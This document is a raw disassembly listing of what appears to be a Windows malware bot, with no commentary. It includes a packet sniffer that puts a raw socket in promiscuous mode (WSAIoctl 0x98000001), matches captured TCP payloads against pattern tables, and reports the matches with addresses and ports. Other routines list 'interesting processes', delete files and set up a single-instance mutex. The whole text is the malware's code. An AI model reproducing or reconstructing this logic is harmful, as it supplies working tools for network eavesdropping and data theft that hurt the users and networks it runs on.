loc_415CC7: ; CODE XREF: sub_415B60+15Bj
push [ebp+var_5C0]
call ds:dword_417028 ; RegCloseKey
movsx eax, [ebp+var_41C]
test eax, eax
jz short loc_415D1E
cmp [ebp+var_410], 0
jnz short loc_415D1E
cmp [ebp+var_5C4], 0
jnz short loc_415D1E
cmp [ebp+var_40C], 0
jnz short loc_415D1E
cmp [ebp+var_408], 0
jnz short loc_415D1E
cmp [ebp+var_404], 0
jnz short loc_415D1E
push [ebp+var_5B8]
call sub_409763
pop ecx
xor eax, eax
jmp locret_415DF9
; ---------------------------------------------------------------------------
loc_415D1E: ; CODE XREF: sub_415B60+17Cj
; sub_415B60+185j ...
cmp [ebp+var_404], 0
jz short loc_415D33
mov [ebp+var_5C8], offset aYes ; "Yes"
jmp short loc_415D3D
; ---------------------------------------------------------------------------
loc_415D33: ; CODE XREF: sub_415B60+1C5j
mov [ebp+var_5C8], offset aNo ; "No"
loc_415D3D: ; CODE XREF: sub_415B60+1D1j
cmp [ebp+var_408], 0
jz short loc_415D52
mov [ebp+var_5CC], offset aYes ; "Yes"
jmp short loc_415D5C
; ---------------------------------------------------------------------------
loc_415D52: ; CODE XREF: sub_415B60+1E4j
mov [ebp+var_5CC], offset aNo ; "No"
loc_415D5C: ; CODE XREF: sub_415B60+1F0j
cmp [ebp+var_40C], 0
jz short loc_415D71
mov [ebp+var_5D0], offset aYes ; "Yes"
jmp short loc_415D7B
; ---------------------------------------------------------------------------
loc_415D71: ; CODE XREF: sub_415B60+203j
mov [ebp+var_5D0], offset aNo ; "No"
loc_415D7B: ; CODE XREF: sub_415B60+20Fj
cmp [ebp+var_5C4], 0
jz short loc_415D90
mov [ebp+var_5D4], offset aYes ; "Yes"
jmp short loc_415D9A
; ---------------------------------------------------------------------------
loc_415D90: ; CODE XREF: sub_415B60+222j
mov [ebp+var_5D4], offset aNo ; "No"
loc_415D9A: ; CODE XREF: sub_415B60+22Ej
cmp [ebp+var_410], 0
jz short loc_415DAF
mov [ebp+var_5D8], offset aYes ; "Yes"
jmp short loc_415DB9
; ---------------------------------------------------------------------------
loc_415DAF: ; CODE XREF: sub_415B60+241j
mov [ebp+var_5D8], offset aNo ; "No"
loc_415DB9: ; CODE XREF: sub_415B60+24Dj
push [ebp+var_5C8]
push [ebp+var_5CC]
push [ebp+var_5D0]
push [ebp+var_5D4]
push [ebp+var_5D8]
push offset dword_41D5CC
lea eax, [ebp+var_5B4]
push eax
call sub_40D53F
add esp, 1Ch
push [ebp+var_5B8]
call sub_409763
pop ecx
xor eax, eax
locret_415DF9: ; CODE XREF: sub_415B60+1B9j
leave
retn 4
sub_415B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_415E17
jmp short locret_415E3F
; ---------------------------------------------------------------------------
loc_415E17: ; CODE XREF: sub_415DFD+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aListingInteres ; "Listing interesting processes"
push 0
push [ebp+var_4]
push offset sub_415B60
call sub_4095A4
add esp, 10h
locret_415E3F: ; CODE XREF: sub_415DFD+18j
leave
retn
sub_415DFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E41 proc near ; CODE XREF: sub_415EB7+37p
; sub_415EB7+59p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_415E52
; ---------------------------------------------------------------------------
loc_415E4B: ; CODE XREF: sub_415E41+69j
; sub_415E41:loc_415EB1j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_415E52: ; CODE XREF: sub_415E41+8j
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax*4], 0
jz short loc_415EB3
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EB1
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax*4+4], 0
jz short loc_415EAC
mov eax, [ebp+var_4]
shl eax, 1
mov ecx, [ebp+arg_0]
push dword ptr [ecx+eax*4+4]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EAC
jmp short loc_415E4B
; ---------------------------------------------------------------------------
loc_415EAC: ; CODE XREF: sub_415E41+49j
; sub_415E41+67j
push 1
pop eax
jmp short locret_415EB5
; ---------------------------------------------------------------------------
loc_415EB1: ; CODE XREF: sub_415E41+3Aj
jmp short loc_415E4B
; ---------------------------------------------------------------------------
loc_415EB3: ; CODE XREF: sub_415E41+1Dj
xor eax, eax
locret_415EB5: ; CODE XREF: sub_415E41+6Ej
leave
retn
sub_415E41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EB7 proc near ; CODE XREF: sub_415F69+420p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
jz short loc_415EDD
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_407ACA
add esp, 0Ch
test eax, eax
jz short loc_415EDD
push 1
pop eax
jmp loc_415F67
; ---------------------------------------------------------------------------
loc_415EDD: ; CODE XREF: sub_415EB7+7j
; sub_415EB7+1Cj
cmp [ebp+arg_8], 1
jb short loc_415EFF
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D6FC
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415EFF
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415EFF: ; CODE XREF: sub_415EB7+2Aj
; sub_415EB7+41j
cmp [ebp+arg_8], 2
jb short loc_415F21
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D758
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F21
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: sub_415EB7+4Cj
; sub_415EB7+63j
cmp [ebp+arg_8], 3
jb short loc_415F43
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D7CC
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F43
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F43: ; CODE XREF: sub_415EB7+6Ej
; sub_415EB7+85j
cmp [ebp+arg_8], 4
jb short loc_415F65
push [ebp+arg_4]
push [ebp+arg_0]
push offset off_41D810
call sub_415E41
add esp, 0Ch
test eax, eax
jz short loc_415F65
push 1
pop eax
jmp short loc_415F67
; ---------------------------------------------------------------------------
loc_415F65: ; CODE XREF: sub_415EB7+90j
; sub_415EB7+A7j
xor eax, eax
loc_415F67: ; CODE XREF: sub_415EB7+21j
; sub_415EB7+46j ...
pop ebp
retn
sub_415EB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F69 proc near ; DATA XREF: sub_41665C+A6o
var_19B8 = dword ptr -19B8h
var_19B4 = byte ptr -19B4h
var_18B4 = dword ptr -18B4h
var_18B0 = byte ptr -18B0h
var_17B0 = dword ptr -17B0h
var_17AC = dword ptr -17ACh
var_17A8 = byte ptr -17A8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = byte ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = dword ptr -1614h
var_1610 = dword ptr -1610h
var_160C = byte ptr -160Ch
var_140C = byte ptr -140Ch
var_127E = byte ptr -127Eh
var_1278 = byte ptr -1278h
var_1274 = byte ptr -1274h
var_1268 = word ptr -1268h
var_1264 = byte ptr -1264h
var_1263 = byte ptr -1263h
var_125C = dword ptr -125Ch
var_1258 = word ptr -1258h
var_1254 = byte ptr -1254h
var_1154 = dword ptr -1154h
var_1150 = dword ptr -1150h
var_114C = byte ptr -114Ch
var_114B = byte ptr -114Bh
var_104C = dword ptr -104Ch
var_1048 = word ptr -1048h
var_1044 = dword ptr -1044h
var_1038 = byte ptr -1038h
var_1037 = byte ptr -1037h
var_1030 = byte ptr -1030h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 19B8h
call sub_416BC0
push edi
push 3ABh
push [ebp+arg_0]
lea eax, [ebp+var_1614]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
movsx eax, [ebp+var_160C]
neg eax
sbb eax, eax
lea ecx, [ebp+var_160C]
and eax, ecx
mov [ebp+var_1624], eax
push 0
push 3
push 2
call ds:dword_417218 ; socket
mov [ebp+var_104C], eax
cmp [ebp+var_104C], 0FFFFFFFFh
jnz short loc_415FDE
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_415FDE: ; CODE XREF: sub_415F69+60j
push 0FFh
lea eax, [ebp+var_1254]
push eax
call ds:dword_417260 ; gethostname
lea eax, [ebp+var_1254]
push eax
call ds:dword_41723C ; gethostbyname
mov [ebp+var_1154], eax
cmp [ebp+var_1154], 0
jnz short loc_41602B
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_41602B: ; CODE XREF: sub_415F69+A1j
push 10h
push 0
lea eax, [ebp+var_1048]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_1048], 2
mov eax, [ebp+var_1154]
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1044], eax
push 10h
lea eax, [ebp+var_1048]
push eax
push [ebp+var_104C]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_416093
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_416093: ; CODE XREF: sub_415F69+109j
mov [ebp+var_1150], 1
push 0
push 0
lea eax, [ebp+var_1620]
push eax
push 0
push 0
push 4
lea eax, [ebp+var_1150]
push eax
push 98000001h
push [ebp+var_104C]
call ds:dword_41725C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4160EA
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp loc_416657
; ---------------------------------------------------------------------------
loc_4160EA: ; CODE XREF: sub_415F69+160j
lea eax, [ebp+var_1030]
mov [ebp+var_161C], eax
and [ebp+var_1628], 0
and [ebp+var_4], 0
push [ebp+var_1610]
mov eax, [ebp+var_1614]
push dword ptr [eax]
push offset unk_41D9DC
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 10h
and [ebp+var_1274], 0
and [ebp+var_114C], 0
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_114B]
rep stosd
stosw
stosb
and [ebp+var_1264], 0
xor eax, eax
lea edi, [ebp+var_1263]
stosd
stosb
lea eax, [ebp+var_114C]
push eax
call sub_40CF25
push eax
call sub_4044F7
pop ecx
pop ecx
lea eax, [ebp+var_1264]
push eax
call sub_40CF25
push eax
call sub_4045B2
pop ecx
pop ecx
lea eax, [ebp+var_114C]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_1618], eax
lea eax, [ebp+var_1264]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1268], ax
and [ebp+var_1038], 0
xor eax, eax
lea edi, [ebp+var_1037]
stosd
stosb
lea eax, [ebp+var_1038]
push eax
call sub_40CF25
push eax
call sub_404552
pop ecx
pop ecx
mov eax, [ebp+var_1044]
mov [ebp+var_125C], eax
lea eax, [ebp+var_1038]
push eax
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1258], ax
loc_4161E6: ; CODE XREF: sub_415F69+305j
; sub_415F69+33Aj ...
push 0
push 1028h
lea eax, [ebp+var_1030]
push eax
push [ebp+var_104C]
call ds:dword_417248 ; recv
mov [ebp+var_17AC], eax
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_416217
jmp loc_416637
; ---------------------------------------------------------------------------
loc_416217: ; CODE XREF: sub_415F69+2A7j
cmp [ebp+var_17AC], 0FFFFFFFFh
jz short loc_416229
cmp [ebp+var_17AC], 0
jnz short loc_41622E
loc_416229: ; CODE XREF: sub_415F69+2B5j
jmp loc_416637
; ---------------------------------------------------------------------------
loc_41622E: ; CODE XREF: sub_415F69+2BEj
mov eax, [ebp+var_17AC]
and [ebp+eax+var_1030], 0
mov eax, [ebp+var_161C]
mov al, [eax]
and al, 0Fh
movzx eax, al
mov ecx, [ebp+var_161C]
lea eax, [ecx+eax*4]
mov [ebp+var_1628], eax
mov eax, [ebp+var_1628]
lea ecx, [ebp+var_1030]
sub eax, ecx
cmp eax, [ebp+var_17AC]
jb short loc_416273
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416273: ; CODE XREF: sub_415F69+303j
mov eax, [ebp+var_1628]
mov al, [eax+0Ch]
shr al, 4
and al, 0Fh
movzx eax, al
mov ecx, [ebp+var_1628]
lea eax, [ecx+eax*4]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
lea ecx, [ebp+var_1030]
sub eax, ecx
cmp eax, [ebp+var_17AC]
jb short loc_4162A8
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4162A8: ; CODE XREF: sub_415F69+338j
push [ebp+var_4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_17AC], eax
mov eax, [ebp+var_161C]
movzx eax, byte ptr [eax+9]
cmp eax, 6
jnz loc_416632
movsx eax, [ebp+var_127E]
test eax, eax
jz short loc_4162EB
mov eax, [ebp+var_161C]
mov eax, [eax+10h]
cmp eax, [ebp+var_125C]
jz short loc_4162EB
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4162EB: ; CODE XREF: sub_415F69+36Aj
; sub_415F69+37Bj
movsx eax, [ebp+var_1278]
test eax, eax
jz short loc_41630C
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_125C]
jz short loc_41630C
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: sub_415F69+38Bj
; sub_415F69+39Cj
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
movzx ecx, [ebp+var_1258]
cmp eax, ecx
jnz short loc_416340
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_125C]
jnz short loc_416340
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416340: ; CODE XREF: sub_415F69+3BFj
; sub_415F69+3D0j
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
movzx ecx, [ebp+var_1268]
cmp eax, ecx
jnz short loc_416374
mov eax, [ebp+var_161C]
mov eax, [eax+0Ch]
cmp eax, [ebp+var_1618]
jnz short loc_416374
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416374: ; CODE XREF: sub_415F69+3F3j
; sub_415F69+404j
push [ebp+var_1624]
push [ebp+var_1610]
push [ebp+var_17AC]
push [ebp+var_4]
call sub_415EB7
add esp, 10h
test eax, eax
jz loc_416632
and [ebp+var_19B8], 0
jmp short loc_4163AF
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j
mov eax, [ebp+var_19B8]
inc eax
mov [ebp+var_19B8], eax
loc_4163AF: ; CODE XREF: sub_415F69+437j
mov eax, [ebp+var_19B8]
cmp eax, [ebp+var_17AC]
jnb short loc_416415
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jnz short loc_4163DA
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 2Dh
loc_4163DA: ; CODE XREF: sub_415F69+463j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jnz short loc_4163F7
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 3Eh
loc_4163F7: ; CODE XREF: sub_415F69+480j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_416413
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
mov byte ptr [eax], 2Eh
loc_416413: ; CODE XREF: sub_415F69+49Cj
jmp short loc_4163A2
; ---------------------------------------------------------------------------
loc_416415: ; CODE XREF: sub_415F69+452j
and [ebp+var_19B8], 0
mov eax, [ebp+var_19B8]
mov [ebp+var_17AC], eax
jmp short loc_416437
; ---------------------------------------------------------------------------
loc_41642A: ; CODE XREF: sub_415F69+507j
; sub_415F69+51Aj ...
mov eax, [ebp+var_19B8]
inc eax
mov [ebp+var_19B8], eax
loc_416437: ; CODE XREF: sub_415F69+4BFj
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_41645F
mov eax, [ebp+var_4]
add eax, [ebp+var_17AC]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_19B8]
mov cl, [ecx]
mov [eax], cl
jmp short loc_4164AA
; ---------------------------------------------------------------------------
loc_41645F: ; CODE XREF: sub_415F69+4DCj
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 7Fh
jl short loc_416472
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_416472: ; CODE XREF: sub_415F69+505j
mov eax, [ebp+var_4]
add eax, [ebp+var_19B8]
movsx eax, byte ptr [eax]
cmp eax, 1Fh
jg short loc_416485
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_416485: ; CODE XREF: sub_415F69+518j
mov eax, [ebp+var_4]
add eax, [ebp+var_17AC]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_19B8]
mov cl, [ecx]
mov [eax], cl
mov eax, [ebp+var_17AC]
inc eax
mov [ebp+var_17AC], eax
jmp short loc_41642A
; ---------------------------------------------------------------------------
loc_4164AA: ; CODE XREF: sub_415F69+4F4j
cmp [ebp+var_17AC], 0
jnz short loc_4164B8
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_4164B8: ; CODE XREF: sub_415F69+548j
push 100h
mov eax, [ebp+var_161C]
push dword ptr [eax+0Ch]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_19B4]
push eax
call sub_407A56
add esp, 0Ch
push 100h
mov eax, [ebp+var_161C]
push dword ptr [eax+10h]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_18B0]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_1628]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
lea eax, [ebp+var_18B0]
push eax
mov eax, [ebp+var_1628]
mov ax, [eax]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
lea eax, [ebp+var_19B4]
push eax
push offset dword_41D9A8
lea eax, [ebp+var_17A8]
push eax
call sub_416B5E ; sprintf
add esp, 18h
mov [ebp+var_18B4], eax
mov eax, 180h
sub eax, [ebp+var_18B4]
push eax
push [ebp+var_4]
mov eax, [ebp+var_18B4]
lea eax, [ebp+eax+var_17A8]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_17A8]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 0Ch
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_4165AD
jmp loc_416655
; ---------------------------------------------------------------------------
loc_4165AD: ; CODE XREF: sub_415F69+63Dj
mov eax, 180h
sub eax, [ebp+var_18B4]
dec eax
mov [ebp+var_17B0], eax
loc_4165BF: ; CODE XREF: sub_415F69+6C7j
mov eax, [ebp+var_17B0]
cmp eax, [ebp+var_17AC]
jnb short loc_416632
push 180h
mov eax, [ebp+var_4]
add eax, [ebp+var_17B0]
push eax
lea eax, [ebp+var_17A8]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_17A8]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_140C]
push eax
call sub_40D53F
add esp, 0Ch
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1614]
cmp dword ptr [eax+4], 0
jz short loc_41661F
jmp short loc_416653
; ---------------------------------------------------------------------------
loc_41661F: ; CODE XREF: sub_415F69+6B2j
mov eax, [ebp+var_17B0]
add eax, 17Fh
mov [ebp+var_17B0], eax
jmp short loc_4165BF
; ---------------------------------------------------------------------------
loc_416632: ; CODE XREF: sub_415F69+35Bj
; sub_415F69+42Aj ...
jmp loc_4161E6
; ---------------------------------------------------------------------------
loc_416637: ; CODE XREF: sub_415F69+2A9j
; sub_415F69:loc_416229j ...
push [ebp+var_104C]
call ds:dword_417230 ; closesocket
push [ebp+var_1614]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_416657
; ---------------------------------------------------------------------------
loc_416653: ; CODE XREF: sub_415F69+6B4j
jmp short loc_416637
; ---------------------------------------------------------------------------
loc_416655: ; CODE XREF: sub_415F69+63Fj
jmp short loc_416637
; ---------------------------------------------------------------------------
loc_416657: ; CODE XREF: sub_415F69+70j
; sub_415F69+BDj ...
pop edi
leave
retn 4
sub_415F69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push 3ABh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41667B
jmp locret_41670F
; ---------------------------------------------------------------------------
loc_41667B: ; CODE XREF: sub_41665C+18j
cmp [ebp+arg_4], 0
jz short loc_41668F
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
jmp short loc_416696
; ---------------------------------------------------------------------------
loc_41668F: ; CODE XREF: sub_41665C+23j
mov [ebp+var_8], 3
loc_416696: ; CODE XREF: sub_41665C+31j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+4], ecx
cmp [ebp+arg_8], 0
jz short loc_4166AD
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
jmp short loc_4166B4
; ---------------------------------------------------------------------------
loc_4166AD: ; CODE XREF: sub_41665C+47j
mov [ebp+var_C], offset byte_41DE30
loc_4166B4: ; CODE XREF: sub_41665C+4Fj
push 200h
push [ebp+var_C]
mov eax, [ebp+var_4]
add eax, 8
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 208h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
push dword ptr [eax+4]
push offset dword_41DA10
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_415F69
call sub_4095A4
add esp, 14h
locret_41670F: ; CODE XREF: sub_41665C+1Aj
leave
retn
sub_41665C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416711 proc near ; CODE XREF: sub_4167B9+6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41673B
push [ebp+var_4]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_41673D
; ---------------------------------------------------------------------------
loc_41673B: ; CODE XREF: sub_416711+1Aj
xor eax, eax
locret_41673D: ; CODE XREF: sub_416711+28j
leave
retn
sub_416711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41679C
push 2
push 0
push [ebp+var_4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_8], eax
push 0
push 0
push [ebp+var_4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_4]
call sub_416B82 ; fclose
pop ecx
mov eax, [ebp+var_8]
inc eax
neg eax
sbb eax, eax
and eax, [ebp+var_8]
jmp short locret_41679E
; ---------------------------------------------------------------------------
loc_41679C: ; CODE XREF: sub_41673F+1Bj
xor eax, eax
locret_41679E: ; CODE XREF: sub_41673F+5Bj
leave
retn
sub_41673F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call ds:dword_4170AC ; DeleteFileA
test eax, eax
jz short loc_4167B5
push 1
pop eax
jmp short loc_4167B7
; ---------------------------------------------------------------------------
loc_4167B5: ; CODE XREF: sub_4167A0+Ej
xor eax, eax
loc_4167B7: ; CODE XREF: sub_4167A0+13j
pop ebp
retn
sub_4167A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_416711
pop ecx
test eax, eax
jz short loc_4167D9
push [ebp+arg_0]
call sub_4167A0
pop ecx
neg eax
sbb eax, eax
inc eax
jmp short loc_4167DB
; ---------------------------------------------------------------------------
loc_4167D9: ; CODE XREF: sub_4167B9+Ej
xor eax, eax
loc_4167DB: ; CODE XREF: sub_4167B9+1Ej
pop ebp
retn
sub_4167B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push dword ptr [eax]
call sub_40ED38
pop ecx
mov [ebp+var_4], eax
leave
retn
sub_4167DD endp
; ---------------------------------------------------------------------------
loc_4167F1: ; CODE XREF: he5.4aoe:00420000j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417298
push offset sub_416DBA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 12DCh
call sub_416BC0
push ebx
push esi
push edi
mov [ebp-18h], esp
push 2
call ds:dword_4170F4 ; SetErrorMode
and dword ptr [ebp-4], 0
push dword_41DA54
push dword_41DA50
push 3B6h
push dword_41DA4C
push 0
push dword_41DA48
push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
lea eax, [ebp-115Ch]
push eax
call sub_416B5E ; sprintf
add esp, 20h
and dword ptr [ebp-1128h], 0
jmp short loc_416875
; ---------------------------------------------------------------------------
loc_416868: ; CODE XREF: .text:loc_4168BAj
mov eax, [ebp-1128h]
inc eax
mov [ebp-1128h], eax
loc_416875: ; CODE XREF: .text:00416866j
cmp dword ptr [ebp-1128h], 0Ah
jnz short loc_416883
call sub_407148
loc_416883: ; CODE XREF: .text:0041687Cj
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp-115Ch]
push eax
push 0
push 0
call ds:dword_4170F8 ; CreateMutexA
mov [ebp-12F0h], eax
cmp dword ptr [ebp-12F0h], 0
jz short loc_4168BA
call ds:dword_417064 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_4168BA
jmp short loc_4168BC
; ---------------------------------------------------------------------------
loc_4168BA: ; CODE XREF: .text:004168ACj
; .text:004168B6j
jmp short loc_416868
; ---------------------------------------------------------------------------
loc_4168BC: ; CODE XREF: .text:004168B8j
call sub_403BD3
call sub_405FA3
call sub_40938F
call sub_412FC6
call sub_4102AE
call sub_40E979
push 10h
push offset dword_41DA48
call sub_41055F
pop ecx
pop ecx
push 10h
push offset dword_41DA48
call sub_40ECEB
pop ecx
pop ecx
push 10h
push offset dword_41DA48
call sub_40ED6E
pop ecx
pop ecx
call sub_410422
mov dword_41EC30, eax
call sub_410422
mov dword_41EC34, eax
call sub_410422
mov dword_41EC38, eax
call sub_410422
mov dword_41EC3C, eax
push 104h
lea eax, [ebp-1120h]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
test eax, eax
jnz short loc_416961
push offset byte_41DE30
push offset aPacked_exe ; "packed.exe"
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp loc_4169E1
; ---------------------------------------------------------------------------
loc_416961: ; CODE XREF: .text:00416949j
lea eax, [ebp-1120h]
push eax
